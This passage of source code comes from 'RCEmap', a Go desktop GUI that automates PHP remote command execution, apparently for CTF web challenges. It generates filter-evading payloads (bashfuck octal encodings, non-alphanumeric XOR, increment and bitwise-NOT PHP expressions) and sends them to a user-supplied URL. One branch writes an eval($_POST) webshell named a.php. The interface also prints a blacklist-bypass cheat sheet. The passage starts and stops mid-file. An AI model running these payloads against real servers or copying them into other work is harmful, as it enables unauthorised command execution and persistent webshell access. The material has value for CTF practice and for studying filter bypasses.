strings.Contains(path, "wqy-zenhei.ttc") { 51 | // 设置字体 52 | err := os.Setenv("FYNE_FONT", path) 53 | if err != nil { 54 | return 55 | } 56 | break 57 | } 58 | } 59 | } 60 | } 61 | 62 | type CustomTheme struct { 63 | textSize float32 64 | } 65 | 66 | func (c CustomTheme) Color(name fyne.ThemeColorName, variant fyne.ThemeVariant) color.Color { 67 | return theme.DefaultTheme().Color(name, variant) 68 | } 69 | 70 | func (c CustomTheme) Font(style fyne.TextStyle) fyne.Resource { 71 | return theme.DefaultTheme().Font(style) 72 | } 73 | 74 | func (c CustomTheme) Icon(name fyne.ThemeIconName) fyne.Resource { 75 | return theme.DefaultTheme().Icon(name) 76 | } 77 | 78 | func (c CustomTheme) Size(name fyne.ThemeSizeName) float32 { 79 | // 修改默认字体大小 80 | if name == theme.SizeNameText { 81 | return c.textSize 82 | } 83 | return theme.DefaultTheme().Size(name) 84 | } 85 | 86 | /* 87 | func init是设置字体 88 | 89 | custom部分是自定义主题 90 | 91 | 最顶上的var是全局变量省事就放最上面了 92 | */ 93 | 94 | func showPopup(app fyne.App, mess string) { 95 | // 创建一个新的窗口作为弹窗 96 | popup := app.NewWindow("复制结果") 97 | popup.SetContent(widget.NewLabel(mess)) 98 | popup.Resize(fyne.NewSize(100, 30)) 99 | popup.CenterOnScreen() 100 | popup.Show() 101 | 102 | // 延迟关闭窗口 103 | go func() { 104 | time.Sleep(1 * time.Second) // 停留一秒 105 | popup.Close() // 关闭弹窗 106 | }() 107 | } 108 | 109 | func main() { 110 | 111 | a := app.New() // 创建一个具有指定ID的Fyne应用实例 112 | customTheme := &CustomTheme{textSize: 16} 113 | a.Settings().SetTheme(customTheme) 114 | 115 | icon, _ := fyne.LoadResourceFromPath("icon.ico") //LOGO图标 116 | a.SetIcon(icon) 117 | 118 | w := a.NewWindow("RCEmap") // 创建一个名为 "RCEmap" 的窗口 119 | 120 | //列表 121 | var data = []string{"PHP", "ffuf"} //列表,一个php,一个ffuf 122 | list := widget.NewList( 123 | func() int { 124 | return len(data) 125 | }, 126 | func() fyne.CanvasObject { 127 | return widget.NewLabel("template") 128 | }, 129 | func(i widget.ListItemID, o fyne.CanvasObject) { 130 | o.(*widget.Label).SetText(data[i]) 131 | }) 132 | 133 | content := container.NewStack() 134 | 135 | // 设置列表项被选中时的回调函数 136 | list.OnSelected = func(id widget.ListItemID) { 137 | content.Objects = []fyne.CanvasObject{} // 清空之前的内容 138 | switch data[id] { 139 | case "PHP": 140 | // 创建并添加 PHP 相关的内容 141 | 142 | URLentry := widget.NewEntry() 143 | URLentry.SetPlaceHolder("请输入url(如https://www.baidu.com)") 144 | 145 | //是必备条件,url的设置 146 | 147 | /* 148 | autoContent自动模式容器 149 | manualContent手动模式容器 150 | sel选择方式,各手动选择更改写进sel 151 | */ 152 | 153 | canshu := widget.NewEntry() 154 | canshu.SetPlaceHolder("请输入参数点") 155 | 156 | xieru := widget.NewEntry() 157 | xieru.SetPlaceHolder("当需要第二个参数时,请写在这里,不然请为空") 158 | 159 | command := widget.NewEntry() 160 | command.SetPlaceHolder("请输入要执行的命令") 161 | 162 | automethod := container.NewVBox() //自动模式下容纳GET与POST二选一的容器 163 | GETPOST := container.NewVBox() //GET与POST二选一选择后显示的容器 164 | 165 | //选GET之后弹出来的容器 166 | GET := container.NewVBox( 167 | canshu, 168 | xieru, 169 | command, 170 | ) 171 | 172 | //选POST之后弹出来的容器 173 | POST := container.NewVBox( 174 | canshu, 175 | xieru, 176 | command, 177 | ) 178 | 179 | var getpost1 string 180 | 181 | automethodradio := widget.NewRadioGroup([]string{"GET", "POST"}, func(getpost string) { 182 | switch getpost { 183 | case "GET": 184 | getpost1 = "GET" 185 | GETPOST.Objects = []fyne.CanvasObject{GET} 186 | case "POST": 187 | getpost1 = "POST" 188 | GETPOST.Objects = []fyne.CanvasObject{POST} 189 | } 190 | GETPOST.Refresh() 191 | }) 192 | 193 | automethod.Add(automethodradio) //automethod容器加个选择器 194 | 195 | var Version string 196 | 197 | Version = "5" 198 | 199 | phpRadio := widget.NewRadioGroup([]string{"php5.x", "php7.x"}, func(v string) { 200 | switch v { 201 | case "php5.x": 202 | 203 | Version = "5" 204 | 205 | case "php7.x": 206 | 207 | Version = "7" 208 | } 209 | 210 | }) 211 | 212 | phpVersion := container.NewVBox(phpRadio) 213 | 214 | autoContent := container.NewVBox( 215 | widget.NewLabel("自动模式(该模式不准确,若没有正确执行请切换至手动模式)\n(黑名单过滤,环境变量,少量字符RCE这三种请切换至手动)"), //输出"自动模式" 216 | phpVersion, 217 | automethod, 218 | GETPOST, 219 | ) 220 | 221 | // 创建手动模式的选择组件和内容显示区域 222 | manualContentBox := container.NewVBox() 223 | 224 | var exploit string 225 | 226 | var radio *widget.RadioGroup 227 | var sele *widget.Select 228 | var label *widget.Label 229 | 230 | guolventry := widget.NewEntry() 231 | guolventry.SetPlaceHolder("请在此输入过滤(直接复制正则)") 232 | 233 | sel = widget.NewSelect([]string{"无数字字母RCE", "黑名单绕过", "少量字符RCE", "环境变量构造(无flag试试网站里手动输入poc)", "preg_replace/e的利用", "伪协议"}, func(value string) { 234 | manualContentBox.Objects = nil 235 | label = widget.NewLabel("") 236 | 237 | four2one := container.NewVBox() 238 | 239 | switch value { 240 | 241 | case "无数字字母RCE": 242 | 243 | label = widget.NewLabel("Tips:当过滤了$时请选择进阶") 244 | 245 | sele = widget.NewSelect([]string{"自增", "异或", "或", "ff", "进阶", "限制字符种类(固定)", "限制字符种类(自定义)"}, func(m string) { 246 | switch m { 247 | 248 | case "自增": 249 | 250 | exploit = "zizeng" 251 | 252 | case "异或": 253 | 254 | exploit = "xor" 255 | 256 | case "或": 257 | 258 | exploit = "or" 259 | 260 | case "ff": 261 | 262 | exploit = "ff" 263 | 264 | case "进阶": 265 | 266 | exploit = "进阶" 267 | 268 | case "限制字符种类(固定)": 269 | 270 | choose = "guding" 271 | exploit = "进阶plus" 272 | 273 | case "限制字符种类(自定义)": 274 | 275 | choose = "zidingyi" 276 | exploit = "进阶plus" 277 | } 278 | }) 279 | 280 | sele.PlaceHolder = "请选择一种方法" 281 | radiocontent := container.NewVBox() 282 | radio = widget.NewRadioGroup([]string{"eval", "system"}, func(ti string) { 283 | 284 | switch ti { 285 | case "eval": 286 | 287 | radiocontent.Objects = []fyne.CanvasObject{sele} 288 | 289 | case "system": 290 | 291 | label = widget.NewLabel("只有一种bashfuck的方法") 292 | exploit = "bashfuck" 293 | 294 | radiocontent.Objects = []fyne.CanvasObject{label} 295 | 296 | } 297 | radiocontent.Refresh() 298 | }) 299 | 300 | four2one = container.NewVBox(label, radio, radiocontent) 301 | case "黑名单绕过": 302 | 303 | es := widget.NewRadioGroup([]string{"eval", "system"}, func(ti string) { 304 | 305 | switch ti { 306 | case "eval": 307 | guolvleixing = "e" 308 | case "system": 309 | guolvleixing = "s" 310 | 311 | } 312 | 313 | }) 314 | 315 | //one2content := container.NewVBox() 316 | one23 := widget.NewSelect([]string{"用户传命令执行", "执行固定逻辑", "根据输入的过滤回显出可用的函数自行执行"}, func(ti string) { 317 | switch ti { 318 | case "用户传命令执行": 319 | blackleixing = "chuan" 320 | 321 | case "执行固定逻辑": 322 | blackleixing = "guding" 323 | 324 | case "根据输入的过滤回显出可用的函数自行执行": 325 | blackleixing = "shoudong" 326 | } 327 | }) 328 | 329 | one23.PlaceHolder = "请选择一种方法" 330 | 331 | four2one = container.NewVBox( 332 | 333 | es, 334 | one23, 335 | //one2content, 336 | ) 337 | exploit = "black" 338 | 339 | case "少量字符RCE": 340 | 341 | label = widget.NewLabel("这是少量字符RCE") 342 | exploit = "Fewchar" 343 | 344 | case "环境变量构造(无flag试试网站里手动输入poc)": 345 | 346 | label = widget.NewLabel("这是环境变量构造") 347 | exploit = "pwd" 348 | 349 | case "preg_replace/e的利用": 350 | 351 | exploit = "replace" 352 | 353 | case "伪协议": 354 | 355 | exploit = "file_put" 356 | radi := widget.NewRadioGroup([]string{"写入", "读取", "请在前两个都无法执行的时候选择这个,如果这个也无效则是无效"}, func(value string) { 357 | switch value { 358 | case "写入": 359 | RW = "write" 360 | case "读取": 361 | RW = "read" 362 | case "请在前两个都无法执行的时候选择这个,如果这个也无效则是无效": 363 | RW = "plus" 364 | } 365 | }) 366 | 367 | four2one = container.NewVBox(radi) 368 | } 369 | 370 | manualContentBox.Objects = []fyne.CanvasObject{ 371 | 372 | four2one, //这里的four2one是在上面sel里面选择过后下面会出现的容器,直接在各case里面赋值就可以 373 | } 374 | manualContentBox.Refresh() 375 | 376 | }) 377 | 378 | sel.PlaceHolder = "请选择一种题型" 379 | 380 | manualContent := container.NewVBox( //手动模式 381 | canshu, 382 | xieru, 383 | command, 384 | automethodradio, 385 | phpVersion, 386 | guolventry, 387 | sel, 388 | manualContentBox, 389 | ) 390 | 391 | //phpContent是选择自动模式和手动模式后出现的容器 392 | phpContent := container.NewVBox(autoContent) 393 | var rrraaadio string 394 | modeRadio := widget.NewRadioGroup([]string{"自动模式", "手动模式"}, func(selected string) { 395 | switch selected { 396 | case "自动模式": 397 | 398 | rrraaadio = "自动模式" 399 | phpContent.Objects = []fyne.CanvasObject{autoContent} 400 | 401 | case "手动模式": 402 | 403 | rrraaadio = "手动模式" 404 | phpContent.Objects = []fyne.CanvasObject{manualContent} 405 | 406 | } 407 | phpContent.Refresh() 408 | }) 409 | 410 | // 初始化回显标签 411 | huixianlabel := widget.NewLabel("这是回显区") 412 | newlabel := widget.NewLabel("") 413 | 414 | // 容器,包含回显标签 415 | huixian := container.NewVBox( 416 | 417 | huixianlabel, //这里是当前环境,题目源码和题目过滤 418 | newlabel, 419 | ) 420 | 421 | // 按钮,主要功能区 422 | start := widget.NewButton("START", func() { 423 | URL := URLentry.Text 424 | huixianlabel.SetText("访问URL为: " + URL) // 更新回显标签的文本 425 | 426 | if rrraaadio == "自动模式" { 427 | 428 | jianjie := `自动模式 429 | 请求模式为` + getpost1 + "\n访问URL为: " + URL + "\nphp版本为" + Version 430 | 431 | if canshu.Text == "" { 432 | huixianlabel.SetText(jianjie + "\n请输入全部参数") 433 | } else { 434 | cleanText, guolv := script.Test(URL, Version, command.Text, canshu.Text, getpost1) 435 | huixianlabel.SetText(jianjie + "题目源码为:\n" + cleanText + "检测到过滤为:\n" + guolv) 436 | 437 | script.Damn(URL, Version, command.Text, canshu.Text, getpost1, cleanText, guolv, newlabel) 438 | } 439 | 440 | } else if rrraaadio == "手动模式" { 441 | 442 | jianjie := `手动模式 443 | 请求模式为` + getpost1 + "\n访问URL为: " + URL + "\nphp版本为" + Version 444 | 445 | guolv := guolventry.Text 446 | 447 | huixianlabel.SetText(jianjie + "过滤为:\n" + guolv) 448 | 449 | if !strings.Contains(guolv, "$") { 450 | 451 | switch exploit { 452 | 453 | //前三个是eval 454 | 455 | case "zizeng": 456 | 457 | script.Zizeng(URL, command.Text, canshu.Text, getpost1, newlabel) 458 | 459 | case "xor": 460 | 461 | script.Xor(URL, command.Text, Version, canshu.Text, newlabel) 462 | 463 | case "ff": 464 | 465 | script.Ff(URL, command.Text, guolv, canshu.Text, getpost1, newlabel) 466 | 467 | //后三个是system 468 | 469 | case "bashfuck": 470 | 471 | booL := "0" 472 | script.Bashfuck(URL, command.Text, guolv, canshu.Text, getpost1, newlabel, booL) 473 | 474 | } 475 | 476 | } else { 477 | 478 | //这是ban了'$'的 479 | 480 | switch exploit { 481 | 482 | case "or": 483 | 484 | script.Or(URL, command.Text, canshu.Text, newlabel, guolv, getpost1) 485 | 486 | case "进阶": 487 | 488 | script.Noshuzievaljinjie(URL, command.Text, Version, canshu.Text, getpost1, guolv, newlabel) 489 | 490 | case "进阶plus": 491 | 492 | script.Xorplus(URL, canshu.Text, getpost1, choose, newlabel) 493 | 494 | } 495 | } 496 | 497 | switch exploit { 498 | 499 | case "black": 500 | //黑名单 501 | com, char := script.Blacktest(guolv, guolvleixing) 502 | //com是所有可用的命令,char是所有可用的字符 503 | 504 | if blackleixing == "chuan" { 505 | 506 | result := script.Blackchuan(guolv, command.Text, com, char) 507 | newlabel.SetText(result) 508 | 509 | } else if blackleixing == "guding" { 510 | 511 | result := script.Blackguding(URLentry.Text, canshu.Text, getpost1, guolvleixing, com, char, guolv) 512 | newlabel.SetText(result) 513 | 514 | } else if blackleixing == "shoudong" { 515 | 516 | result := script.Blackshoudong(com, char) 517 | newlabel.SetText(result + ` 518 | 下面是这些符号的各自用法(命令我就不写了你自己查一下吧): 519 | 520 | $ - 标示变量、命令替换和参数 例如: echo $HOME # 输出 HOME 变量的值 或者 echo $(date) # 命令替换,输出当前日期 521 | * - 通配符,例如f*会匹配一切f开头的文件 522 | ? - 通配符,例如f???可匹配f开头四个字的文件,例如flag 523 | && - 逻辑与,前一命令成功时执行下一命令 524 | || - 逻辑或,前一命令失败时执行下一命令 525 | ; - 命令分隔符 526 | | - 管道,将前一个命令的输出作为下一个命令的输入 527 | > - 重定向输出到文件(覆盖) 528 | >> - 重定向输出到文件(追加) 529 | [] - 字符类,匹配括号内的任意一个字符 例如: ls file[1-3].txt # 匹配 file1.txt, file2.txt, file3.txt 530 | {} - 扩展符,用于生成多个字符串 例如: echo {A,B,C} # 输出 A B C 或者 echo {1..3} # 输出 1 2 3 531 | () - 命令组,创建子 Shell 执行命令 532 | $() - 命令替换 533 | $[] - 算术扩展 例如: echo $((1 + 2)) 534 | $0 - 当前脚本名 535 | %0a,%09,{$IFS},$IFS$9,%0d - 可替代空格 536 | 反引号 - 可替代命令 537 | `) 538 | 539 | } 540 | 541 | case "pwd": 542 | 543 | result := script.Pwd(URLentry.Text, canshu.Text, getpost1, command.Text) 544 | newlabel.SetText(result) 545 | 546 | case "Fewchar": 547 | result := script.Fewchar() 548 | newlabel.SetText(result) 549 | 550 | case "replace": 551 | result := script.Replace(URL, canshu.Text, getpost1, command.Text) 552 | newlabel.SetText(result) 553 | case "file_put": 554 | result := script.Weixieyi(URL, guolv, canshu.Text, getpost1, command.Text, RW, xieru.Text) 555 | newlabel.SetText(result) 556 | } 557 | 558 | } 559 | 560 | }) 561 | 562 | fuzhi := widget.NewButton("复制结果", func() { 563 | 564 | clipboard := w.Clipboard() 565 | 566 | if newlabel.Text == "" { 567 | 568 | showPopup(a, "复制结果为空,复制失败") 569 | 570 | } else { 571 | 572 | showPopup(a, "复制成功!") 573 | clipboard.SetContent(newlabel.Text) 574 | 575 | } 576 | }) 577 | 578 | button := container.NewBorder(nil, fuzhi, nil, nil, start) 579 | 580 | mainContent := container.NewVBox( 581 | URLentry, 582 | modeRadio, 583 | phpContent, 584 | ) 585 | 586 | mainscroll := container.NewScroll(mainContent) //给主部分加滚动 587 | huixianscroll := container.NewScroll(huixian) //给回显区加个滚动 588 | 589 | //mainsplit是中间容器上下分割 590 | mainsplit := container.NewVSplit(mainscroll, huixianscroll) 591 | mainsplit.Offset = 0.8 592 | 593 | //phpsplit是php部分右侧content与button的分割线 594 | phpsplit := container.NewHSplit(mainsplit, button) 595 | phpsplit.Offset = 0.9 596 | content.Add(phpsplit) 597 | 598 | case "ffuf": 599 | // 创建并添加 ffuf 相关的内容 600 | ffufContent := widget.NewLabel("未完待续") 601 | 602 | content.Add(ffufContent) 603 | } 604 | 605 | content.Refresh() // 刷新容器以显示新内容 606 | 607 | } 608 | 609 | //themes是list下面的设置字体大小按钮 610 | 611 | fontSizeLabel := widget.NewLabel("字体大小: " + fmt.Sprintf("%.0f", customTheme.textSize)) //显示当前字体大小 612 | 613 | themes := container.NewGridWithColumns(2, //设置两个按钮 614 | 615 | widget.NewButtonWithIcon("", theme.NavigateBackIcon(), func() { 616 | customTheme.textSize -= 1 617 | a.Settings().SetTheme(customTheme) 618 | content.Refresh() 619 | fontSizeLabel.SetText("字体大小: " + fmt.Sprintf("%.0f", customTheme.textSize)) // 更新标签文本 620 | 621 | }), 622 | 623 | widget.NewButtonWithIcon("", theme.NavigateNextIcon(), func() { 624 | 625 | customTheme.textSize += 1 626 | a.Settings().SetTheme(customTheme) 627 | content.Refresh() 628 | fontSizeLabel.SetText("字体大小: " + fmt.Sprintf("%.0f", customTheme.textSize)) // 更新标签文本 629 | 630 | }), 631 | ) 632 | 633 | down := container.NewVBox(fontSizeLabel, themes) 634 | 635 | LIST := container.NewBorder(nil, down, nil, nil, list) //Border(上,下,左,右,中) 636 | 637 | // 创建一个水平分割容器,将列表和内容容器放置在其中 638 | split := container.NewHSplit(LIST, content) 639 | split.Offset = 0.161 // 设置分割容器的初始分割位置 640 | 641 | //后缀级代码,不是很需要更改 642 | w.SetContent(split) 643 | w.Resize(fyne.NewSize(840, 600)) //设置窗口大小 644 | topWindow = w // 将 topWindow 设置为当前窗口 645 | topWindow.ShowAndRun() 646 | } 647 | -------------------------------------------------------------------------------- /script/bashfuck.go: -------------------------------------------------------------------------------- 1 | package script 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | func info(s string) string { 9 | total := 0 10 | usedChars := make(map[rune]bool) 11 | for _, c := range s { 12 | if c >= 32 && c <= 126 && !usedChars[c] { 13 | total++ 14 | usedChars[c] = true 15 | } 16 | } 17 | var sb strings.Builder 18 | 19 | sb.WriteString(fmt.Sprintf("%s", s)) 20 | return sb.String() 21 | } 22 | 23 | func getOct(c rune) string { 24 | return fmt.Sprintf("%o", c) 25 | } 26 | 27 | func CommonOtc(cmd string) string { 28 | var payload strings.Builder 29 | payload.WriteString("$'") 30 | for _, c := range cmd { 31 | if c == ' ' { 32 | payload.WriteString("' $'") 33 | } else { 34 | payload.WriteString(fmt.Sprintf("\\%s", getOct(c))) 35 | } 36 | } 37 | payload.WriteString("'") 38 | return info(payload.String()) 39 | } 40 | 41 | func BashfuckX(cmd string, form string) string { 42 | var bashStr strings.Builder 43 | for _, c := range cmd { 44 | bashStr.WriteString(fmt.Sprintf("\\\\$(($((1<<1))#%b))", c)) 45 | } 46 | payloadBit := bashStr.String() 47 | payloadZero := strings.ReplaceAll(payloadBit, "1", "${##}") 48 | payloadC := strings.ReplaceAll(payloadZero, "0", "${#}") 49 | switch form { 50 | case "bit": 51 | payloadBit = fmt.Sprintf("$0<<<$0\\\\<\\\\<\\\\<\\$\\'%s\\'", payloadBit) 52 | return info(payloadBit) 53 | case "zero": 54 | payloadZero = fmt.Sprintf("$0<<<$0\\\\<\\\\<\\\\<\\$\\'%s\\'", payloadZero) 55 | return info(payloadZero) 56 | case "c": 57 | payloadC = fmt.Sprintf("${!#}<<<${!#}\\\\<\\\\<\\\\<\\$\\'%s\\'", payloadC) 58 | return info(payloadC) 59 | default: 60 | return "" 61 | } 62 | } 63 | 64 | func BashfuckY(cmd string) string { 65 | octList := []string{ 66 | "$(())", 67 | "$((~$(($((~$(())))$((~$(())))))))", 68 | "$((~$(($((~$(())))$((~$(())))$((~$(())))))))", 69 | "$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))", 70 | "$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))", 71 | "$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))", 72 | "$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))", 73 | "$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))", 74 | } 75 | var bashFuck strings.Builder 76 | bashFuck.WriteString("__=$(())") 77 | bashFuck.WriteString("&&") 78 | bashFuck.WriteString("${!__}<<<${!__}\\\\<\\\\<\\\\<\\$\\'") 79 | for _, c := range cmd { 80 | bashFuck.WriteString("\\\\") 81 | for _, i := range getOct(c) { 82 | index := i - '0' 83 | bashFuck.WriteString(octList[index]) 84 | } 85 | } 86 | bashFuck.WriteString("\\'") 87 | return info(bashFuck.String()) 88 | } 89 | -------------------------------------------------------------------------------- /script/eval.go: -------------------------------------------------------------------------------- 1 | package script 2 | 3 | import ( 4 | "bytes" 5 | "encoding/hex" 6 | "fmt" 7 | "io" 8 | "log" 9 | "mime/multipart" 10 | "net/http" 11 | "net/url" 12 | "strings" 13 | "time" 14 | 15 | "fyne.io/fyne/v2/widget" 16 | "golang.org/x/text/encoding/charmap" 17 | ) 18 | 19 | func Qufan(c string) string { 20 | // 在 Latin-1 编码下将字符串转换为字节流 21 | encoder := charmap.ISO8859_1.NewEncoder() 22 | latinBytes, err := encoder.Bytes([]byte(c)) 23 | if err != nil { 24 | fmt.Println("编码失败:", err) 25 | return "" 26 | } 27 | 28 | // 计算取反后的字节流 29 | invertedBytes := make([]byte, len(latinBytes)) 30 | for i, b := range latinBytes { 31 | invertedBytes[i] = ^b 32 | } 33 | 34 | // 将取反后的字节流转换为 Latin-1 编码下的字符串 35 | invertedString := string(invertedBytes) 36 | 37 | return invertedString 38 | } 39 | 40 | func Zizeng(URL string, command string, i string, m string, label *widget.Label) { 41 | var c1 string 42 | var c2 string 43 | leftIndex := strings.Index(command, "(") 44 | if leftIndex == -1 { 45 | // 字符串中没有左括号 46 | c1 = command 47 | c2 = "" 48 | label.SetText("字符串中没有左括号") 49 | } 50 | 51 | // 查找第一个右括号的索引 52 | rightIndex := strings.Index(command, ")") 53 | if rightIndex == -1 { 54 | // 字符串中没有右括号 55 | c1 = "" 56 | c2 = "" 57 | label.SetText("字符串中没有右括号") 58 | } 59 | 60 | if leftIndex < rightIndex { 61 | // 括号正确匹配,提取括号内外的内容 62 | //c1是括号外内容,c2是括号内内容 63 | c1 = command[:leftIndex] 64 | c2 = command[leftIndex+1 : rightIndex] 65 | 66 | } else { 67 | // 括号不正确匹配 68 | c1 = command 69 | c2 = "" 70 | label.SetText("括号不正确匹配") 71 | } 72 | var payload []byte 73 | if c2 != "" { 74 | 75 | payload = []byte(i + "=" + "$_=(%ff/%ff.%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=" + c1 + "&_=" + c2) 76 | 77 | } else { 78 | 79 | payload = []byte(i + "=" + "$_=(%ff/%ff.%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]();&_POST=" + c1) 80 | 81 | } 82 | if m == "GET" { 83 | 84 | } else if m == "POST" { 85 | // 发起 POST 请求 86 | 87 | resp, err := http.Post(URL, "application/x-www-form-urlencoded", bytes.NewBuffer(payload)) 88 | if err != nil { 89 | fmt.Println("发送 POST 请求失败:", err) 90 | return 91 | } 92 | defer resp.Body.Close() 93 | 94 | // 读取响应 95 | respBody, err := io.ReadAll(resp.Body) 96 | if err != nil { 97 | fmt.Println("读取响应失败:", err) 98 | return 99 | } 100 | 101 | // 输出响应 102 | respBodya := RemoveHTMLTags(string(respBody)) 103 | label.SetText("payload为: " + string(payload) + "\n回显为: " + respBodya) 104 | } 105 | } 106 | 107 | func Ff(URL string, command string, guolv string, i string, m string, label *widget.Label) { 108 | var xorresult string 109 | var result2 string 110 | var ffCount string 111 | 112 | //下面是对comman命令切片然后有括号的话提取括号内内容 113 | var c1 string 114 | var c2 string 115 | leftIndex := strings.Index(command, "(") 116 | if leftIndex == -1 { 117 | // 字符串中没有左括号 118 | c1 = command 119 | c2 = "" 120 | } 121 | 122 | // 查找第一个右括号的索引 123 | rightIndex := strings.Index(command, ")") 124 | if rightIndex == -1 { 125 | // 字符串中没有右括号 126 | c1 = "" 127 | c2 = "" 128 | } 129 | 130 | if leftIndex < rightIndex { 131 | // 括号正确匹配,提取括号内外的内容 132 | //c1是括号外内容,c2是括号内内容 133 | c1 = command[:leftIndex] 134 | c2 = command[leftIndex+1 : rightIndex] 135 | 136 | } else { 137 | // 括号不正确匹配 138 | c1 = command 139 | c2 = "" 140 | } 141 | var ff string 142 | var reURL string 143 | 144 | //遍历异或 145 | for _, char := range c2 { 146 | ffCount = strings.Repeat("%ff", len(c2)) //数数有几个字符需要与%ff进行异或 147 | 148 | for a := 0; a <= 15; a++ { 149 | hexa := fmt.Sprintf("%X", a) 150 | for b := 0; b <= 15; b++ { 151 | hexb := fmt.Sprintf("%X", b) 152 | result := "%" + hexa + hexb 153 | decoded, err := url.QueryUnescape(result) 154 | if err != nil { 155 | fmt.Printf("解码错误: %v\n", err) 156 | return 157 | } 158 | ff, err := url.QueryUnescape("%ff") 159 | if err != nil { 160 | fmt.Printf("解码错误: %v\n", err) 161 | return 162 | } 163 | 164 | xorresult = "" 165 | for i := 0; i < len(decoded); i++ { 166 | xorresult += string(decoded[i] ^ ff[i%len(ff)]) 167 | } 168 | if xorresult == string(char) { 169 | result2 += result 170 | } 171 | } 172 | } 173 | } 174 | 175 | if c2 != "" { 176 | ff = ffCount + "^" + result2 177 | } else { 178 | ff = "" 179 | } 180 | //ff是对c2进行异或得到的(c2是例如system(ipconfig)中的ipconfig) 181 | 182 | ff2 := "${%ff%ff%ff%ff^%A0%B8%BA%AB}{%ff}(" + ff + ");" 183 | 184 | //输出异或结果(payload) 185 | 186 | //判断不同过滤打不一样的exp 187 | if m == "GET" { 188 | if !strings.Contains(guolv, "^") && !strings.Contains(guolv, ";") { 189 | 190 | reURL = URL + "?" + i + "=" + ff2 + "&%ff=" + c1 191 | 192 | } else if !strings.Contains(guolv, "~") && strings.Contains(guolv, ";") { 193 | 194 | reURL = URL + "?" + i + "=" + "?>&%ff=" + c2 195 | 196 | } else if !strings.Contains(guolv, "~") && !strings.Contains(guolv, ";") { 197 | 198 | reURL = URL + "?" + i + "=" + "${~%A0%B8%BA%AB}{%ff}(~" + Qufan(c2) + ");&%ff=" + c1 199 | 200 | } else if !strings.Contains(guolv, "^") && strings.Contains(guolv, ";") { 201 | 202 | reURL = URL + "?" + i + "=" + "?>" 203 | 204 | } 205 | 206 | res, err := http.Get(reURL) 207 | if err != nil { 208 | log.Fatal(err) 209 | } 210 | defer res.Body.Close() 211 | 212 | body, err := io.ReadAll(res.Body) 213 | 214 | REres := RemoveHTMLTags(string(body)) 215 | label.SetText("请求URl为: " + reURL + "\n回显为: " + REres) 216 | } else if m == "POST" { 217 | 218 | var payload []byte 219 | var URL1 string 220 | if !strings.Contains(guolv, "^") && !strings.Contains(guolv, ";") { 221 | 222 | payload = []byte(i + "=" + ff2) 223 | URL1 = URL + "?%ff=" + c1 224 | 225 | } else if !strings.Contains(guolv, "~") && strings.Contains(guolv, ";") { 226 | 227 | payload = []byte(i + "=" + "?>") 228 | URL1 = URL + "?%ff=" + c2 229 | 230 | } else if !strings.Contains(guolv, "~") && !strings.Contains(guolv, ";") { 231 | 232 | payload = []byte(i + "=" + "${~%A0%B8%BA%AB}{%ff}(~" + Qufan(c2) + ");") 233 | URL1 = URL + "?%ff=" + c1 234 | 235 | } else if !strings.Contains(guolv, "^") && strings.Contains(guolv, ";") { 236 | 237 | payload = []byte(i + "=" + "?>") 238 | URL1 = URL 239 | } 240 | 241 | // 发起 POST 请求 242 | resp, err := http.Post(URL1, "application/x-www-form-urlencoded", bytes.NewBuffer(payload)) 243 | if err != nil { 244 | fmt.Println("发送 POST 请求失败:", err) 245 | return 246 | } 247 | defer resp.Body.Close() 248 | 249 | // 读取响应 250 | respBody, err := io.ReadAll(resp.Body) 251 | if err != nil { 252 | fmt.Println("读取响应失败:", err) 253 | return 254 | } 255 | 256 | // 输出响应 257 | respBodya := RemoveHTMLTags(string(respBody)) 258 | label.SetText("payload为: " + string(payload) + "\n回显为: " + respBodya) 259 | 260 | } 261 | } 262 | 263 | func Xor(URL string, command string, v string, canshu string, label *widget.Label) { 264 | var newURL string 265 | var payload string 266 | if v == "5" { 267 | newURL = URL + "?" + canshu + "=" + "$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);" 268 | fmt.Printf("payload为: %s\n", newURL) 269 | fmt.Printf("\033[33m" + "[Tips] " + "\033[39m" + "请注意,这里的command应该是如phpinfo();这样格式的\n") 270 | payload = "_=" + command 271 | } else if v == "7" { 272 | payload = "?" + canshu + "=$_=(%27%06%27^%27`%27).(%27%09%27^%27`%27).(%27%0c%27^%27`%27).(%27%05%27^%27`%27).%27_%27.(%27%10%27^%27`%27).(%27%15%27^%27`%27).(%27%14%27^%27`%27).%27_%27.(%27%03%27^%27`%27).(%27%0f%27^%27`%27).(%27%0e%27^%27`%27).(%27%14%27^%27`%27).(%27%05%27^%27`%27).(%27%0e%27^%27`%27).(%27%14%27^%27`%27).(%27%13%27^%27`%27);$__=(%27%01%27^%27`%27).%27.%27.(%27%10%27^%27`%27).(%27%08%27^%27`%27).(%27%10%27^%27`%27);$___=%27%3C?%27.(%27%10%27^%27`%27).(%27%08%27^%27`%27).(%27%10%27^%27`%27).%27%20%27.(%27%05%27^%27`%27).(%27%16%27^%27`%27).(%27%01%27^%27`%27).(%27%0c%27^%27`%27).%27($_%27.(%27%0D%27^%27]%27).(%27%2F%27^%27`%27).(%27%0E%27^%27]%27).(%27%09%27^%27]%27).%27[_]);?%3E%27;$____=$_($__,$___);" 273 | newURL = URL + payload 274 | fmt.Printf("payload为: %s\n", newURL) 275 | fmt.Printf("\033[33m" + " [Tips] " + "\033[39m" + "请注意,这里的command应该是如phpinfo();这样格式的,结尾必须有';'\n") 276 | http.Get(newURL) 277 | 278 | time.Sleep(1 * time.Second) 279 | newURL = URL + "/../a.php" //生成并访问a.php,a.php代码为 280 | payload = "_=" + command 281 | } 282 | 283 | response, _ := http.Post(URL, "application/x-www-form-urlencoded", strings.NewReader(payload)) 284 | defer response.Body.Close() 285 | doc, _ := 